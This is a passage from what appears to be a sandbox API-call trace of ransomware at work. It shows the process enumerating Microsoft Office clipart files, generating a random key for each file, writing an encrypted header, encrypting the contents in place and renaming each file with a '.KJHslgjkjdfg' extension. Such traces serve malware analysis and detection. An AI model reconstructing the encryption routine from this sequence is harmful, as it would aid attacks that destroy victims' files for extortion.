hHeap=0x990000) returned 1 [0218.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif.kjhslgjkjdfg")) returned 1 [0218.915] CloseHandle (hObject=0x130) returned 1 [0218.915] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b01f700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b01f700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01243_.GIF", cAlternateFileName="")) returned 1 [0218.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.917] GetProcessHeap () returned 0x990000 [0218.917] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.917] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.917] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0218.918] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.918] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.919] GetProcessHeap () returned 0x990000 [0218.919] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.919] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.919] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.919] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.919] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1af, lpOverlapped=0x0) returned 1 [0218.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b0) returned 1 [0218.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.919] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b0, lpOverlapped=0x0) returned 1 [0218.920] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.920] SetEndOfFile (hFile=0x130) returned 1 [0218.922] GetProcessHeap () returned 0x990000 [0218.922] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.922] GetProcessHeap () returned 0x990000 [0218.922] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01243_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01243_.gif.kjhslgjkjdfg")) returned 1 [0218.924] CloseHandle (hObject=0x130) returned 1 [0218.924] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b82ae00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b82ae00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01244_.GIF", cAlternateFileName="")) returned 1 [0218.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.924] GetProcessHeap () returned 0x990000 [0218.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.924] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.925] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0218.926] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.926] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.926] GetProcessHeap () returned 0x990000 [0218.926] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.926] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.926] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.926] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.926] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.927] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d3, lpOverlapped=0x0) returned 1 [0218.927] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e0) returned 1 [0218.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.927] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e0, lpOverlapped=0x0) returned 1 [0218.927] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.927] SetEndOfFile (hFile=0x130) returned 1 [0218.929] GetProcessHeap () returned 0x990000 [0218.929] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.929] GetProcessHeap () returned 0x990000 [0218.929] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01244_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01244_.gif.kjhslgjkjdfg")) returned 1 [0218.932] CloseHandle (hObject=0x130) returned 1 [0218.932] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x545ba000, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x545ba000, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01245_.GIF", cAlternateFileName="")) returned 1 [0218.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.934] GetProcessHeap () returned 0x990000 [0218.934] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.934] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.934] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0218.935] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.935] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.935] GetProcessHeap () returned 0x990000 [0218.935] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.935] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.935] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.935] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.935] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.935] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.936] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.936] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.936] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.936] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.936] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x155, lpOverlapped=0x0) returned 1 [0218.936] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x160, dwBufLen=0x160 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x160) returned 1 [0218.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.936] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x160, lpOverlapped=0x0) returned 1 [0218.936] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.936] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.936] SetEndOfFile (hFile=0x130) returned 1 [0218.938] GetProcessHeap () returned 0x990000 [0218.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.938] GetProcessHeap () returned 0x990000 [0218.938] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01245_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01245_.gif.kjhslgjkjdfg")) returned 1 [0218.939] CloseHandle (hObject=0x130) returned 1 [0218.939] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fde00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fde00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01246_.GIF", cAlternateFileName="")) returned 1 [0218.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.940] GetProcessHeap () returned 0x990000 [0218.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.940] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0218.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.952] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.952] GetProcessHeap () returned 0x990000 [0218.952] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.952] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.952] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.952] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.952] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.952] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.952] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.952] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.952] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ce, lpOverlapped=0x0) returned 1 [0218.953] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d0) returned 1 [0218.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.953] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d0, lpOverlapped=0x0) returned 1 [0218.953] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.953] SetEndOfFile (hFile=0x130) returned 1 [0218.955] GetProcessHeap () returned 0x990000 [0218.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.955] GetProcessHeap () returned 0x990000 [0218.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.kjhslgjkjdfg")) returned 1 [0218.958] CloseHandle (hObject=0x130) returned 1 [0218.958] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0218.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.959] GetProcessHeap () returned 0x990000 [0218.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.959] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 